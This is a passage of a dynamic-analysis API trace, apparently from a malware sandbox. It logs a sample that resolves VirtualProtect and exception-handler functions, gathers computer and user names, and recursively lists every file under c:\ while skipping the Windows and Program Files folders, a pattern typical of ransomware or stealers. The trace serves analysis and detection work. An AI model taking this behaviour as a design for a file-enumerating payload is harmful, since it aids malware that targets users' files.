ProcedureAddress=0x45f92c*=0x75a01856) returned 0x0 [0029.469] LdrGetProcedureAddress (in: BaseAddress=0x759f0000, Name="VirtualProtect", Ordinal=0x0, ProcedureAddress=0x45f92c | out: ProcedureAddress=0x45f92c*=0x75a0435f) returned 0x0 [0029.469] LdrGetProcedureAddress (in: BaseAddress=0x759f0000, Name="AddVectoredExceptionHandler", Ordinal=0x0, ProcedureAddress=0x45f92c | out: ProcedureAddress=0x45f92c*=0x772e742b) returned 0x0 [0029.469] LdrGetProcedureAddress (in: BaseAddress=0x759f0000, Name="RemoveVectoredExceptionHandler", Ordinal=0x0, ProcedureAddress=0x45f92c | out: ProcedureAddress=0x45f92c*=0x772e5f41) returned 0x0 [0029.469] LoadLibraryA (lpLibFileName="msvcrt.dll") returned 0x752a0000 [0029.469] GetProcAddress (hModule=0x752a0000, lpProcName="strchr") returned 0x752adbeb [0029.469] GetProcAddress (hModule=0x752a0000, lpProcName="free") returned 0x752a9894 [0029.469] GetProcAddress (hModule=0x752a0000, lpProcName="malloc") returned 0x752a9cee [0029.470] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x759f0000 [0029.470] GetProcAddress (hModule=0x759f0000, lpProcName="FreeConsole") returned 0x75aa6aa8 [0029.470] GetProcAddress (hModule=0x759f0000, lpProcName="lstrlenW") returned 0x75a01700 [0029.470] GetProcAddress (hModule=0x759f0000, lpProcName="lstrcatW") returned 0x75a2828e [0029.470] GetProcAddress (hModule=0x759f0000, lpProcName="FindFirstFileW") returned 0x75a04435 [0029.470] GetProcAddress (hModule=0x759f0000, lpProcName="lstrcmpW") returned 0x75a05929 [0029.470] GetProcAddress (hModule=0x759f0000, lpProcName="lstrcpyW") returned 0x75a23102 [0029.470] GetProcAddress (hModule=0x759f0000, lpProcName="FindNextFileW") returned 0x75a054ee [0029.470] GetProcAddress (hModule=0x759f0000, lpProcName="FindClose") returned 0x75a04442 [0029.470] GetProcAddress (hModule=0x759f0000, lpProcName="GetModuleHandleA") returned 0x75a01245 [0029.470] GetProcAddress (hModule=0x759f0000, lpProcName="GetModuleFileNameA") returned 0x75a014b1 [0029.470] GetProcAddress (hModule=0x759f0000, lpProcName="GetComputerNameA") returned 0x75a1b6e0 [0029.470] GetProcAddress (hModule=0x759f0000, lpProcName="GetComputerNameExA") returned 0x75a842ef [0029.470] GetProcAddress (hModule=0x759f0000, lpProcName="lstrlenA") returned 0x75a05a4b [0029.470] GetProcAddress (hModule=0x759f0000, lpProcName="lstrcmpA") returned 0x75a1eceb [0029.470] GetProcAddress (hModule=0x759f0000, lpProcName="GetLastError") returned 0x75a011c0 [0029.470] GetProcAddress (hModule=0x759f0000, lpProcName="GetProcessHeap") returned 0x75a014e9 [0029.471] GetProcAddress (hModule=0x759f0000, lpProcName="HeapAlloc") returned 0x7729e026 [0029.471] GetProcAddress (hModule=0x759f0000, lpProcName="HeapFree") returned 0x75a014c9 [0029.471] GetProcAddress (hModule=0x759f0000, lpProcName="SetLastError") returned 0x75a011a9 [0029.471] GetProcAddress (hModule=0x759f0000, lpProcName="GetCurrentProcess") returned 0x75a01809 [0029.471] GetProcAddress (hModule=0x759f0000, lpProcName="GetCurrentProcessId") returned 0x75a011f8 [0029.471] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x75790000 [0029.471] GetProcAddress (hModule=0x75790000, lpProcName="wsprintfA") returned 0x757bae5f [0029.471] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x756e0000 [0029.471] GetProcAddress (hModule=0x756e0000, lpProcName="GetUserNameA") returned 0x7570a4b4 [0029.471] lstrcpyW (in: lpString1=0x262718, lpString2="c:\\" | out: lpString1="c:\\") returned="c:\\" [0029.471] lstrlenW (lpString="c:\\") returned 3 [0029.471] lstrcatW (in: lpString1="c:\\", lpString2="*" | out: lpString1="c:\\*") returned="c:\\*" [0029.471] FindFirstFileW (in: lpFileName="c:\\*", lpFindFileData=0x45f39c | out: lpFindFileData=0x45f39c) returned 0x7959a8 [0029.472] lstrcmpW (lpString1="$Recycle.Bin", lpString2=".") returned -1 [0029.472] lstrcmpW (lpString1="$Recycle.Bin", lpString2="..") returned -1 [0029.472] lstrcmpW (lpString1="$Recycle.Bin", lpString2="Windows") returned -1 [0029.472] lstrcmpW (lpString1="$Recycle.Bin", lpString2="Program Files") returned -1 [0029.472] lstrlenW (lpString="c:\\") returned 3 [0029.472] lstrlenW (lpString="$Recycle.Bin") returned 12 [0029.472] lstrcatW (in: lpString1="c:\\", lpString2="$Recycle.Bin" | out: lpString1="c:\\$Recycle.Bin") returned="c:\\$Recycle.Bin" [0029.472] lstrcatW (in: lpString1="c:\\$Recycle.Bin", lpString2="\\" | out: lpString1="c:\\$Recycle.Bin\\") returned="c:\\$Recycle.Bin\\" [0029.472] lstrlenW (lpString="c:\\$Recycle.Bin\\") returned 16 [0029.472] lstrcatW (in: lpString1="c:\\$Recycle.Bin\\", lpString2="*" | out: lpString1="c:\\$Recycle.Bin\\*") returned="c:\\$Recycle.Bin\\*" [0029.472] FindFirstFileW (in: lpFileName="c:\\$Recycle.Bin\\*", lpFindFileData=0x45f0e0 | out: lpFindFileData=0x45f0e0) returned 0x7959e8 [0029.472] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0029.472] FindNextFileW (in: hFindFile=0x7959e8, lpFindFileData=0x45f0e0 | out: lpFindFileData=0x45f0e0) returned 1 [0029.472] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0029.472] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0029.472] FindNextFileW (in: hFindFile=0x7959e8, lpFindFileData=0x45f0e0 | out: lpFindFileData=0x45f0e0) returned 1 [0029.472] lstrcmpW (lpString1="S-1-5-21-2345716840-1148442690-1481144037-1000", lpString2=".") returned 1 [0029.473] lstrcmpW (lpString1="S-1-5-21-2345716840-1148442690-1481144037-1000", lpString2="..") returned 1 [0029.473] lstrlenW (lpString="c:\\$Recycle.Bin\\") returned 16 [0029.473] lstrlenW (lpString="S-1-5-21-2345716840-1148442690-1481144037-1000") returned 46 [0029.473] lstrcatW (in: lpString1="c:\\$Recycle.Bin\\", lpString2="S-1-5-21-2345716840-1148442690-1481144037-1000" | out: lpString1="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000") returned="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000" [0029.473] lstrcatW (in: lpString1="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000", lpString2="\\" | out: lpString1="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\") returned="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\" [0029.473] lstrlenW (lpString="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\") returned 63 [0029.473] lstrcatW (in: lpString1="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\", lpString2="*" | out: lpString1="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\*") returned="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\*" [0029.473] FindFirstFileW (in: lpFileName="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\*", lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0x795a28 [0029.473] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0029.473] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.473] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0029.473] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0029.473] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.473] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0029.473] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0029.473] lstrlenW (lpString="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\") returned 63 [0029.473] lstrlenW (lpString="desktop.ini") returned 11 [0029.473] lstrcatW (in: lpString1="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\", lpString2="desktop.ini" | out: lpString1="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\desktop.ini") returned="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\desktop.ini" [0029.473] lstrlenW (lpString="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\desktop.ini") returned 74 [0029.473] lstrcpyW (in: lpString1=0x262928, lpString2="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\desktop.ini" | out: lpString1="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\desktop.ini") returned="c:\\$Recycle.Bin\\S-1-5-21-2345716840-1148442690-1481144037-1000\\desktop.ini" [0029.473] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0 [0029.473] FindClose (in: hFindFile=0x795a28 | out: hFindFile=0x795a28) returned 1 [0029.473] FindNextFileW (in: hFindFile=0x7959e8, lpFindFileData=0x45f0e0 | out: lpFindFileData=0x45f0e0) returned 0 [0029.473] FindClose (in: hFindFile=0x7959e8 | out: hFindFile=0x7959e8) returned 1 [0029.473] FindNextFileW (in: hFindFile=0x7959a8, lpFindFileData=0x45f39c | out: lpFindFileData=0x45f39c) returned 1 [0029.474] lstrcmpW (lpString1="Boot", lpString2=".") returned 1 [0029.474] lstrcmpW (lpString1="Boot", lpString2="..") returned 1 [0029.474] lstrcmpW (lpString1="Boot", lpString2="Windows") returned -1 [0029.474] lstrcmpW (lpString1="Boot", lpString2="Program Files") returned -1 [0029.474] lstrlenW (lpString="c:\\") returned 3 [0029.474] lstrlenW (lpString="Boot") returned 4 [0029.474] lstrcatW (in: lpString1="c:\\", lpString2="Boot" | out: lpString1="c:\\Boot") returned="c:\\Boot" [0029.474] lstrcatW (in: lpString1="c:\\Boot", lpString2="\\" | out: lpString1="c:\\Boot\\") returned="c:\\Boot\\" [0029.474] lstrlenW (lpString="c:\\Boot\\") returned 8 [0029.474] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="*" | out: lpString1="c:\\Boot\\*") returned="c:\\Boot\\*" [0029.474] FindFirstFileW (in: lpFileName="c:\\Boot\\*", lpFindFileData=0x45f0e0 | out: lpFindFileData=0x45f0e0) returned 0x7959e8 [0029.474] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0029.474] FindNextFileW (in: hFindFile=0x7959e8, lpFindFileData=0x45f0e0 | out: lpFindFileData=0x45f0e0) returned 1 [0029.474] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0029.474] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0029.474] FindNextFileW (in: hFindFile=0x7959e8, lpFindFileData=0x45f0e0 | out: lpFindFileData=0x45f0e0) returned 1 [0029.474] lstrcmpW (lpString1="BCD", lpString2=".") returned 1 [0029.474] lstrcmpW (lpString1="BCD", lpString2="..") returned 1 [0029.474] lstrlenW (lpString="c:\\Boot\\") returned 8 [0029.474] lstrlenW (lpString="BCD") returned 3 [0029.474] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="BCD" | out: lpString1="c:\\Boot\\BCD") returned="c:\\Boot\\BCD" [0029.474] lstrlenW (lpString="c:\\Boot\\BCD") returned 11 [0029.474] lstrcpyW (in: lpString1=0x2614d0, lpString2="c:\\Boot\\BCD" | out: lpString1="c:\\Boot\\BCD") returned="c:\\Boot\\BCD" [0029.474] FindNextFileW (in: hFindFile=0x7959e8, lpFindFileData=0x45f0e0 | out: lpFindFileData=0x45f0e0) returned 1 [0029.474] lstrcmpW (lpString1="BCD.LOG", lpString2=".") returned 1 [0029.474] lstrcmpW (lpString1="BCD.LOG", lpString2="..") returned 1 [0029.474] lstrlenW (lpString="c:\\Boot\\") returned 8 [0029.474] lstrlenW (lpString="BCD.LOG") returned 7 [0029.474] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="BCD.LOG" | out: lpString1="c:\\Boot\\BCD.LOG") returned="c:\\Boot\\BCD.LOG" [0029.474] lstrlenW (lpString="c:\\Boot\\BCD.LOG") returned 15 [0029.474] lstrcpyW (in: lpString1=0x2614f0, lpString2="c:\\Boot\\BCD.LOG" | out: lpString1="c:\\Boot\\BCD.LOG") returned="c:\\Boot\\BCD.LOG" [0029.474] FindNextFileW (in: hFindFile=0x7959e8, lpFindFileData=0x45f0e0 | out: lpFindFileData=0x45f0e0) returned 1 [0029.474] lstrcmpW (lpString1="BCD.LOG1", lpString2=".") returned 1 [0029.474] lstrcmpW (lpString1="BCD.LOG1", lpString2="..") returned 1 [0029.474] lstrlenW (lpString="c:\\Boot\\") returned 8 [0029.474] lstrlenW (lpString="BCD.LOG1") returned 8 [0029.474] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="BCD.LOG1" | out: lpString1="c:\\Boot\\BCD.LOG1") returned="c:\\Boot\\BCD.LOG1" [0029.474] lstrlenW (lpString="c:\\Boot\\BCD.LOG1") returned 16 [0029.474] lstrcpyW (in: lpString1=0x2629c8, lpString2="c:\\Boot\\BCD.LOG1" | out: lpString1="c:\\Boot\\BCD.LOG1") returned="c:\\Boot\\BCD.LOG1" [0029.474] FindNextFileW (in: hFindFile=0x7959e8, lpFindFileData=0x45f0e0 | out: lpFindFileData=0x45f0e0) returned 1 [0029.474] lstrcmpW (lpString1="BCD.LOG2", lpString2=".") returned 1 [0029.474] lstrcmpW (lpString1="BCD.LOG2", lpString2="..") returned 1 [0029.474] lstrlenW (lpString="c:\\Boot\\") returned 8 [0029.475] lstrlenW (lpString="BCD.LOG2") returned 8 [0029.475] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="BCD.LOG2" | out: lpString1="c:\\Boot\\BCD.LOG2") returned="c:\\Boot\\BCD.LOG2" [0029.475] lstrlenW (lpString="c:\\Boot\\BCD.LOG2") returned 16 [0029.475] lstrcpyW (in: lpString1=0x2629f8, lpString2="c:\\Boot\\BCD.LOG2" | out: lpString1="c:\\Boot\\BCD.LOG2") returned="c:\\Boot\\BCD.LOG2" [0029.475] FindNextFileW (in: hFindFile=0x7959e8, lpFindFileData=0x45f0e0 | out: lpFindFileData=0x45f0e0) returned 1 [0029.475] lstrcmpW (lpString1="BOOTSTAT.DAT", lpString2=".") returned 1 [0029.475] lstrcmpW (lpString1="BOOTSTAT.DAT", lpString2="..") returned 1 [0029.475] lstrlenW (lpString="c:\\Boot\\") returned 8 [0029.475] lstrlenW (lpString="BOOTSTAT.DAT") returned 12 [0029.475] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="BOOTSTAT.DAT" | out: lpString1="c:\\Boot\\BOOTSTAT.DAT") returned="c:\\Boot\\BOOTSTAT.DAT" [0029.475] lstrlenW (lpString="c:\\Boot\\BOOTSTAT.DAT") returned 20 [0029.475] lstrcpyW (in: lpString1=0x262a28, lpString2="c:\\Boot\\BOOTSTAT.DAT" | out: lpString1="c:\\Boot\\BOOTSTAT.DAT") returned="c:\\Boot\\BOOTSTAT.DAT" [0029.475] FindNextFileW (in: hFindFile=0x7959e8, lpFindFileData=0x45f0e0 | out: lpFindFileData=0x45f0e0) returned 1 [0029.475] lstrcmpW (lpString1="cs-CZ", lpString2=".") returned 1 [0029.475] lstrcmpW (lpString1="cs-CZ", lpString2="..") returned 1 [0029.475] lstrlenW (lpString="c:\\Boot\\") returned 8 [0029.475] lstrlenW (lpString="cs-CZ") returned 5 [0029.475] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="cs-CZ" | out: lpString1="c:\\Boot\\cs-CZ") returned="c:\\Boot\\cs-CZ" [0029.475] lstrcatW (in: lpString1="c:\\Boot\\cs-CZ", lpString2="\\" | out: lpString1="c:\\Boot\\cs-CZ\\") returned="c:\\Boot\\cs-CZ\\" [0029.475] lstrlenW (lpString="c:\\Boot\\cs-CZ\\") returned 14 [0029.475] lstrcatW (in: lpString1="c:\\Boot\\cs-CZ\\", lpString2="*" | out: lpString1="c:\\Boot\\cs-CZ\\*") returned="c:\\Boot\\cs-CZ\\*" [0029.475] FindFirstFileW (in: lpFileName="c:\\Boot\\cs-CZ\\*", lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0x795a28 [0029.496] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0029.496] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.496] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0029.496] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0029.496] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.496] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0029.496] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0029.496] lstrlenW (lpString="c:\\Boot\\cs-CZ\\") returned 14 [0029.496] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0029.496] lstrcatW (in: lpString1="c:\\Boot\\cs-CZ\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned="c:\\Boot\\cs-CZ\\bootmgr.exe.mui" [0029.496] lstrlenW (lpString="c:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0029.496] lstrcpyW (in: lpString1=0x262a60, lpString2="c:\\Boot\\cs-CZ\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned="c:\\Boot\\cs-CZ\\bootmgr.exe.mui" [0029.496] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0 [0029.497] FindClose (in: hFindFile=0x795a28 | out: hFindFile=0x795a28) returned 1 [0029.497] FindNextFileW (in: hFindFile=0x7959e8, lpFindFileData=0x45f0e0 | out: lpFindFileData=0x45f0e0) returned 1 [0029.497] lstrcmpW (lpString1="da-DK", lpString2=".") returned 1 [0029.497] lstrcmpW (lpString1="da-DK", lpString2="..") returned 1 [0029.497] lstrlenW (lpString="c:\\Boot\\") returned 8 [0029.497] lstrlenW (lpString="da-DK") returned 5 [0029.497] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="da-DK" | out: lpString1="c:\\Boot\\da-DK") returned="c:\\Boot\\da-DK" [0029.497] lstrcatW (in: lpString1="c:\\Boot\\da-DK", lpString2="\\" | out: lpString1="c:\\Boot\\da-DK\\") returned="c:\\Boot\\da-DK\\" [0029.497] lstrlenW (lpString="c:\\Boot\\da-DK\\") returned 14 [0029.497] lstrcatW (in: lpString1="c:\\Boot\\da-DK\\", lpString2="*" | out: lpString1="c:\\Boot\\da-DK\\*") returned="c:\\Boot\\da-DK\\*" [0029.497] FindFirstFileW (in: lpFileName="c:\\Boot\\da-DK\\*", lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0x795a28 [0029.497] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0029.497] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.497] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0029.497] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0029.497] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.497] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0029.497] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0029.497] lstrlenW (lpString="c:\\Boot\\da-DK\\") returned 14 [0029.497] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0029.497] lstrcatW (in: lpString1="c:\\Boot\\da-DK\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\da-DK\\bootmgr.exe.mui") returned="c:\\Boot\\da-DK\\bootmgr.exe.mui" [0029.497] lstrlenW (lpString="c:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0029.497] lstrcpyW (in: lpString1=0x262aa8, lpString2="c:\\Boot\\da-DK\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\da-DK\\bootmgr.exe.mui") returned="c:\\Boot\\da-DK\\bootmgr.exe.mui" [0029.497] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0 [0029.497] FindClose (in: hFindFile=0x795a28 | out: hFindFile=0x795a28) returned 1 [0029.497] FindNextFileW (in: hFindFile=0x7959e8, lpFindFileData=0x45f0e0 | out: lpFindFileData=0x45f0e0) returned 1 [0029.497] lstrcmpW (lpString1="de-DE", lpString2=".") returned 1 [0029.497] lstrcmpW (lpString1="de-DE", lpString2="..") returned 1 [0029.497] lstrlenW (lpString="c:\\Boot\\") returned 8 [0029.497] lstrlenW (lpString="de-DE") returned 5 [0029.497] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="de-DE" | out: lpString1="c:\\Boot\\de-DE") returned="c:\\Boot\\de-DE" [0029.497] lstrcatW (in: lpString1="c:\\Boot\\de-DE", lpString2="\\" | out: lpString1="c:\\Boot\\de-DE\\") returned="c:\\Boot\\de-DE\\" [0029.497] lstrlenW (lpString="c:\\Boot\\de-DE\\") returned 14 [0029.497] lstrcatW (in: lpString1="c:\\Boot\\de-DE\\", lpString2="*" | out: lpString1="c:\\Boot\\de-DE\\*") returned="c:\\Boot\\de-DE\\*" [0029.497] FindFirstFileW (in: lpFileName="c:\\Boot\\de-DE\\*", lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0x795a28 [0029.526] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0029.526] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.526] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0029.526] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0029.526] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.526] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0029.526] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0029.526] lstrlenW (lpString="c:\\Boot\\de-DE\\") returned 14 [0029.526] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0029.526] lstrcatW (in: lpString1="c:\\Boot\\de-DE\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\de-DE\\bootmgr.exe.mui") returned="c:\\Boot\\de-DE\\bootmgr.exe.mui" [0029.526] lstrlenW (lpString="c:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0029.527] lstrcpyW (in: lpString1=0x262af0, lpString2="c:\\Boot\\de-DE\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\de-DE\\bootmgr.exe.mui") returned="c:\\Boot\\de-DE\\bootmgr.exe.mui" [0029.527] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0 [0029.527] FindClose (in: hFindFile=0x795a28 | out: hFindFile=0x795a28) returned 1 [0029.527] FindNextFileW (in: hFindFile=0x7959e8, lpFindFileData=0x45f0e0 | out: lpFindFileData=0x45f0e0) returned 1 [0029.527] lstrcmpW (lpString1="el-GR", lpString2=".") returned 1 [0029.527] lstrcmpW (lpString1="el-GR", lpString2="..") returned 1 [0029.527] lstrlenW (lpString="c:\\Boot\\") returned 8 [0029.527] lstrlenW (lpString="el-GR") returned 5 [0029.527] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="el-GR" | out: lpString1="c:\\Boot\\el-GR") returned="c:\\Boot\\el-GR" [0029.527] lstrcatW (in: lpString1="c:\\Boot\\el-GR", lpString2="\\" | out: lpString1="c:\\Boot\\el-GR\\") returned="c:\\Boot\\el-GR\\" [0029.527] lstrlenW (lpString="c:\\Boot\\el-GR\\") returned 14 [0029.527] lstrcatW (in: lpString1="c:\\Boot\\el-GR\\", lpString2="*" | out: lpString1="c:\\Boot\\el-GR\\*") returned="c:\\Boot\\el-GR\\*" [0029.527] FindFirstFileW (in: lpFileName="c:\\Boot\\el-GR\\*", lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0x795a28 [0029.527] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0029.527] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.527] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0029.527] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0029.527] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.527] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0029.527] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0029.527] lstrlenW (lpString="c:\\Boot\\el-GR\\") returned 14 [0029.527] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0029.527] lstrcatW (in: lpString1="c:\\Boot\\el-GR\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\el-GR\\bootmgr.exe.mui") returned="c:\\Boot\\el-GR\\bootmgr.exe.mui" [0029.527] lstrlenW (lpString="c:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0029.527] lstrcpyW (in: lpString1=0x262b38, lpString2="c:\\Boot\\el-GR\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\el-GR\\bootmgr.exe.mui") returned="c:\\Boot\\el-GR\\bootmgr.exe.mui" [0029.527] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0 [0029.527] FindClose (in: hFindFile=0x795a28 | out: hFindFile=0x795a28) returned 1 [0029.527] FindNextFileW (in: hFindFile=0x7959e8, lpFindFileData=0x45f0e0 | out: lpFindFileData=0x45f0e0) returned 1 [0029.527] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0029.527] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0029.527] lstrlenW (lpString="c:\\Boot\\") returned 8 [0029.527] lstrlenW (lpString="en-US") returned 5 [0029.527] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="en-US" | out: lpString1="c:\\Boot\\en-US") returned="c:\\Boot\\en-US" [0029.527] lstrcatW (in: lpString1="c:\\Boot\\en-US", lpString2="\\" | out: lpString1="c:\\Boot\\en-US\\") returned="c:\\Boot\\en-US\\" [0029.527] lstrlenW (lpString="c:\\Boot\\en-US\\") returned 14 [0029.527] lstrcatW (in: lpString1="c:\\Boot\\en-US\\", lpString2="*" | out: lpString1="c:\\Boot\\en-US\\*") returned="c:\\Boot\\en-US\\*" [0029.527] FindFirstFileW (in: lpFileName="c:\\Boot\\en-US\\*", lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0x795a28 [0029.554] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0029.554] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.554] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0029.554] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0029.554] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.554] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0029.554] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0029.554] lstrlenW (lpString="c:\\Boot\\en-US\\") returned 14 [0029.554] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0029.554] lstrcatW (in: lpString1="c:\\Boot\\en-US\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\en-US\\bootmgr.exe.mui") returned="c:\\Boot\\en-US\\bootmgr.exe.mui" [0029.554] lstrlenW (lpString="c:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0029.555] lstrcpyW (in: lpString1=0x262b80, lpString2="c:\\Boot\\en-US\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\en-US\\bootmgr.exe.mui") returned="c:\\Boot\\en-US\\bootmgr.exe.mui" [0029.555] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.555] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0029.555] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0029.555] lstrlenW (lpString="c:\\Boot\\en-US\\") returned 14 [0029.555] lstrlenW (lpString="memtest.exe.mui") returned 15 [0029.555] lstrcatW (in: lpString1="c:\\Boot\\en-US\\", lpString2="memtest.exe.mui" | out: lpString1="c:\\Boot\\en-US\\memtest.exe.mui") returned="c:\\Boot\\en-US\\memtest.exe.mui" [0029.555] lstrlenW (lpString="c:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0029.555] lstrcpyW (in: lpString1=0x262bc8, lpString2="c:\\Boot\\en-US\\memtest.exe.mui" | out: lpString1="c:\\Boot\\en-US\\memtest.exe.mui") returned="c:\\Boot\\en-US\\memtest.exe.mui" [0029.555] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) 